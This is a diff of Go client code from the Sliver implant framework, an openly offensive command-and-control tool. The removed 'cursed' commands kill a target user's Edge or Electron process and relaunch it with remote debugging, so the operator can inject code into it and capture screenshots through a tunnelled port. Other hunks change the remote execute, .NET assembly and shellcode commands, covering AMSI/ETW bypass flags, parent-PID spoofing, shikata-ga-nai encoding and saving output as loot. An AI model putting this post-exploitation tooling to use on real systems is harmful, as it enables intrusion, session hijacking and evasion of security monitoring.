func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
edgeProcess, err := getEdgeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: edgeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(true, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func isEdgeProcess(executable string) bool {
var edgeProcessNames = []string{
"msedge", // Linux
"microsoft-edge", // Linux
"msedge.exe", // Windows
"Microsoft Edge", // Darwin
}
for _, suffix := range edgeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isEdgeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
-233
View File
@@ -1,233 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
insecureRand "math/rand"
"path"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
electronExe := ctx.Flags.String("exe")
if electronExe == "" {
con.PrintErrorf("Missing --exe flag, see --help\n")
return
}
curse := avadaKedavraElectron(electronExe, session, ctx, con)
if curse == nil {
return
}
con.PrintInfof("Checking for debug targets ...")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
if len(targets) == 0 {
con.PrintErrorf("Zero debug targets found\n")
return
}
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
}
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
exists, err := checkElectronPath(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s", err)
return nil
}
if !exists {
con.PrintErrorf("Executable path does not exist: %s", electronExe)
return nil
}
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: electronProcess.Pid,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
})
if err != nil {
return false, err
}
return ls.GetExists(), nil
}
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
return process, nil
}
}
return nil, nil
}
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := getRemoteDebuggerPort(ctx)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: electronExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: electronExe,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
-75
View File
@@ -1,75 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
kill := ctx.Flags.Bool("kill")
bindPort := ctx.Args.Int("bind-port")
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill {
confirm := false
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s", err)
return
}
if !confirm {
con.PrintErrorf("User cancel\n")
return
}
// Get cursed process
var cursedProc *core.CursedProcess
curses := core.CursedProcessBySessionID(session.ID)
for _, curse := range curses {
if curse.BindTCPPort == bindPort {
cursedProc = curse
}
}
if cursedProc == nil {
con.PrintErrorf("Failed to find cursed process\n")
return
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: int32(cursedProc.PID),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return
}
}
}
@@ -1,69 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
quality := ctx.Flags.Int64("quality")
if quality < 1 || quality > 100 {
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
return
}
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
if err != nil {
con.PrintErrorf("Failed to take screenshot: %s\n", err)
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
}
err = ioutil.WriteFile(saveFile, data, 0644)
if err != nil {
con.PrintErrorf("Failed to save screenshot: %s\n", err)
return
}
con.PrintInfof("Screenshot saved to %s\n", saveFile)
}
-121
View File
@@ -1,121 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Collect existing curses from core
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
cursedProcesses = append(cursedProcesses, []string{
fmt.Sprintf("%d", curse.BindTCPPort),
strings.Split(curse.SessionID, "-")[0],
fmt.Sprintf("%d", curse.PID),
curse.Platform,
curse.ExePath,
curse.DebugURL().String(),
})
return true
})
// Display table if we have 1 or more curses
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
})
for _, rowEntries := range cursedProcesses {
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
} else {
con.PrintInfof("No cursed processes\n")
}
}
// selectCursedProcess - Interactively select a cursed process from a list
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
return true
})
if len(cursedProcesses) < 1 {
con.PrintErrorf("No cursed processes\n")
return nil
}
port2process := map[int]*core.CursedProcess{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, cursedProcess := range cursedProcesses {
fmt.Fprintf(table, "%d\t%s\t%s\n",
cursedProcess.BindTCPPort,
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
cursedProcess.ExePath)
port2process[cursedProcess.BindTCPPort] = cursedProcess
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a curse:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
func getRemoteDebuggerPort(ctx *grumble.Context) int {
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
if port == 0 {
port = insecureRand.Intn(30000) + 10000
}
return port
}
+48 -45
View File
@@ -20,11 +20,13 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -50,7 +52,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
}
assemblyBytes, err := os.ReadFile(assemblyPath)
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
@@ -58,43 +60,19 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
runtime := ctx.Flags.String("runtime")
etwBypass := ctx.Flags.Bool("etw-bypass")
amsiBypass := ctx.Flags.Bool("amsi-bypass")
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
if len(assemblyArgsStr) > 256 {
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
InProcess: ctx.Flags.Bool("in-process"),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
@@ -102,7 +80,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("%s", err)
return
}
hostName := getHostname(session, beacon)
hostname := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
@@ -110,27 +88,52 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
}
}
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
// PrintExecuteAssembly - Print the results of an assembly execution
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
if saveLoot {
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+9 -38
View File
@@ -23,6 +23,7 @@ import (
"context"
"fmt"
"io"
"io/ioutil"
"log"
"os"
@@ -30,7 +31,7 @@ import (
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/term"
"golang.org/x/crypto/ssh/terminal"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
@@ -43,7 +44,6 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
rwxPages := ctx.Flags.Bool("rwx-pages")
interactive := ctx.Flags.Bool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
@@ -51,7 +51,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
}
pid := ctx.Flags.Uint("pid")
shellcodePath := ctx.Args.String("filepath")
shellcodeBin, err := os.ReadFile(shellcodePath)
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
@@ -60,37 +60,8 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
return
}
arch := ctx.Flags.String("architecture")
if arch != "386" && arch != "amd64" {
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
return
}
iter := ctx.Flags.Int("iterations")
con.PrintInfof("Encoding shellcode ...\n")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iter),
BadChars: []byte{},
Data: shellcodeBin,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
oldSize := len(shellcodeBin)
shellcodeBin = resp.GetData()
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
}
if interactive {
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
return
}
ctrl := make(chan bool)
@@ -98,7 +69,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: rwxPages,
RWXPages: ctx.Flags.Bool("rwx-pages"),
Pid: uint32(pid),
Request: con.ActiveTarget.Request(ctx),
})
@@ -154,7 +125,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
return
}
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
@@ -190,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *term.State
var oldState *terminal.State
if !noPty {
oldState, err = term.MakeRaw(0)
oldState, err = terminal.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
@@ -224,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
if !noPty {
log.Printf("Restoring terminal state ...")
term.Restore(0, oldState)
terminal.Restore(0, oldState)
}
log.Printf("Exit interactive")
+25 -137
View File
@@ -18,10 +18,7 @@ package exec
import (
"context"
"fmt"
"os"
"path/filepath"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
@@ -44,13 +41,6 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
ppid := ctx.Flags.Uint("ppid")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
var captureOutput bool = output || saveLoot || saveOutput
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -61,23 +51,21 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token || ppid != 0 {
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
PPid: uint32(ppid),
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Stderr: stderr,
Stdout: stdout,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Output: output,
Stderr: stderr,
Stdout: stdout,
})
@@ -96,42 +84,22 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
PrintExecute(exec, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
PrintExecute(exec, ctx, con)
}
}
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
var lootedOutput []byte
stdout := ctx.Flags.String("stdout")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
lootName := ctx.Flags.String("name")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
if saveLoot || saveOutput {
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
}
if saveLoot {
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
}
if saveOutput {
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
}
PrintExecute(exec, ctx, con)
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
saveLoot := ctx.Flags.Bool("loot")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("output")
if !output {
@@ -143,14 +111,17 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
return
}
combined := ""
if stdout == "" {
con.PrintInfof("Output:\n%s", string(exec.Stdout))
combined = string(exec.Stdout)
con.PrintInfof("Output:\n%s", combined)
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
@@ -160,96 +131,13 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
func determineCommandName(command string) string {
commandName := strings.ReplaceAll(command, "\\", "/")
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
if strings.Contains(commandName, ".") {
commandName = commandName[:strings.LastIndex(commandName, ".")]
}
return commandName
}
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
var outputString string = ""
if combineStdOut {
outputString += "Output (stdout):\n" + string(exec.Stdout)
}
if combineStdErr {
if combineStdOut {
outputString += "\n"
if saveLoot && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
outputString += "Stderr:\n" + string(exec.Stderr)
}
return []byte(outputString)
}
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
if len(commandOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
shortCommandName := determineCommandName(cmdName)
